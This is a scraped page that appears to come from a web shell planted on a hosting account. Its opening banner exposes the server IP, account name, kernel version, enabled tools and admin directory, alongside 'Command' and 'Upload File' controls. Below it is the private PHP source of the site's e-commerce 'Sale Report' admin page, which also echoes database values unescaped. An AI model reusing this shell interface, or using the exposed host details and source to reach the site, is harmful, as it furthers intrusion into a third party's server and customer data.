|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/agriba/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include'loginQuery/session_start.php';
include'dbc.php';
$pageTitle="Sale Report";
$pageName="Sale Report";
$tableName="tbl_product";
$addPageUrl="product.php";
$deleteMode="deleteProduct";
?>
<!DOCTYPE html>
<html>
<head>
<style>
.green{
background-color: darkseagreen;
color: darkseagreen;
}
.red{
background-color: indianred;
color: indianred;
}
</style>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">
<meta content="IE=edge" http-equiv="X-UA-Compatible">
<!-- Page title -->
<title>
<?php echo $pageTitle;?>
</title>
<!-- Place favicon.ico and apple-touch-icon.png in the root directory -->
<!--<link rel="shortcut icon" type="image/ico" href="favicon.ico" />-->
<!-- Vendor styles -->
<?php include'include/header-file.php';?>
<!--select feild css-->
<link rel="stylesheet" href="vendor/select2-3.5.2/select2.css" />
<link rel="stylesheet" href="vendor/select2-bootstrap/select2-bootstrap.css" />
<link rel="stylesheet" href="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.css" />
<link rel="stylesheet" href="https://cdn.datatables.net/1.10.21/css/jquery.dataTables.min.css" />
<link rel="stylesheet" href="https://cdn.datatables.net/buttons/1.6.2/css/buttons.dataTables.min.css" />
<?php include'message.php';?>
</meta>
</meta>
</meta>
<style>
.small-header .panel-body h2 {
margin-top:3px;
}
.hbreadcrumb {
margin-top:0;
}
p {
margin: 0 0 10px;
overflow: auto !important;
height: 46px !important;
}
p::-webkit-scrollbar {
width: 5px;
}
p::-webkit-scrollbar-track {
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
}
p::-webkit-scrollbar-thumb {
background-color: darkgrey;
outline: 1px solid slategrey;
}
</style>
</head>
<body class="hide-sidebar">
<!-- Simple splash screen-->
<!--[if lt IE 7]>
<p class="alert alert-danger">You are using an <strong>outdated</strong> browser. Please <a href="http://browsehappy.com/">upgrade your browser</a> to improve your experience.</p>
<![endif]-->
<!-- Navigation -->
<!-- Main Wrapper -->
<div id="wrapper">
<!----------------start top normal header--------------------->
<div class="small-header">
<div class="hpanel">
<div class="panel-body">
<div id="hbreadcrumb" class="pull-right">
<!-- <ol class="hbreadcrumb ">
<li><a class="btn btn-danger" href="<?php echo $addPageUrl?>"><strong>Add New Product</strong></a></li>
</ol> -->
</div>
<h2 class="font-light m-b-xs">
<?php echo $pageName;?>
</h2>
<small><?php echo $pageTitle;?></small>
</div>
</div>
</div>
<!----------------end top normal header--------------------->
<!--model window-->
<!--model window-->
<div class="content ">
<div class="row">
<div class="col-lg-12">
<div class="hpanel">
<div class="panel-heading">
<div class="panel-tools">
<!--<a class="showhide">
<i class="fa fa-chevron-up">
</i>
</a>
<a class="closebox">
<i class="fa fa-times">
</i>
</a>-->
</div>
</div>
<div class="panel-body">
<!---------------------------
<br>
<div class="panel-body">
<!------------------------------------------------>
<style type="text/css">
.getstatus{ margin:10px; cursor:pointer}
.l{ margin-right:10px; cursor:pointer}
</style>
<div style="float:left">
</div>
<?php
$sqlC=mysqli_query($conn,"select * from order_master") or die(mysqli_error($conn));
while($rows=mysqli_fetch_assoc($sqlC)){
$customerNameAry[$rows['customerid']]=$rows['fName'];
}
?>
<?php
$sql=mysqli_query($conn,"select * from tbl_size")or die(mysqli_error($conn));
while($row=mysqli_fetch_assoc($sql)){
$sizeAry[$row['id']]=$row['name'];
}
?>
<div class="clearfix"></div>
<div id="showrecord" style="overflow:auto">
<table cellpadding="1" cellspacing="1" class="table table-bordered table-striped" id="example" class="display">
<thead>
<tr>
<th width="10">#</th>
<th width="100">Order ID</th>
<th width="100">Customer Name</th>
<th width="100">Product Name</th>
<th width="80">Qty</th>
<th width="50">Size</th>
<th width="50">Price</th>
<th width="50">Amount Recieved</th>
<th width="50">Amount Recieved Date </th>
<th width="50">Payment Mode</th>
<th width="50">Order Date</th>
<th width="50">Delivery Date</th>
<th width="50">Order Status</th>
</tr>
</thead>
<tbody>
<?php
$i=1;
$sql=mysqli_query($conn,"SELECT * FROM `view_user_order_details_wtih_products_image` WHERE `orderStatus` <> 'Cancled' order by `customerid` DESC")or die(mysqli_error());
while($row=mysqli_fetch_assoc($sql))
{
extract($row)
?>
<tr>
<td><?php echo $i++;?></td>
<td><?php echo $orderId;?></td>
<td><?php echo $customerNameAry[$customerid];?></td>
<td><?php echo $productname;?></td>
<td><?php echo $quanitity;?></td>
<td><?php echo $sizeAry[$size];?></td>
<td><?php echo $grandTotal;?></td>
<td><?php echo $grandTotal;?></td>
<td><?php echo $grandTotal;?></td>
<td><?php echo $paymentType;?></td>
<td><?php echo $orderDate;?></td>
<td><?php echo $orderDate;?></td>
<td><?php echo $orderStatus;?></td>
</tr>
<?php }?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<!-- Footer-->
<?php include'include/footer-file.php';?>
<!--select feild css-->
<script src="vendor/bootstrap-touchspin/dist/jquery.bootstrap-touchspin.min.js"></script>
<script src="vendor/select2-3.5.2/select2.min.js"></script>
<!-- App scripts -->
</body>
</html>
<link rel="stylesheet" href="vendor/sweetalert/lib/sweet-alert.css" />
<script src="vendor/sweetalert/lib/sweet-alert.min.js"></script>
<script>
$(document).on('click','.demo3',function(){
var path=$(this).attr('path');
swal({
title: "Are you sure?",
text: "Your will not be able to recover this imaginary file!",
type: "warning",
showCancelButton: true,
confirmButtonColor: "#DD6B55",
confirmButtonText: "Yes, delete it!"
},
function () {
window.location.href=path
});
});
</script>
<!--<script type="text/javascript" charset="utf8" src="http://ajax.aspnetcdn.com/ajax/jQuery/jquery-2.0.3.js"></script>-->
<!-- Page specific javascripts-->
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script src="https://cdn.datatables.net/1.10.21/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/buttons/1.6.2/js/dataTables.buttons.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jszip/3.1.3/jszip.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/pdfmake.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pdfmake/0.1.53/vfs_fonts.js"></script>
<script src="https://cdn.datatables.net/buttons/1.6.2/js/buttons.html5.min.js"></script>
<script>
$(document).ready(function() {
$('#example').DataTable( {
dom: 'Bfrtip',
buttons: [
'copyHtml5',
'excelHtml5',
'csvHtml5',
'pdfHtml5'
]
} );
} );
</script>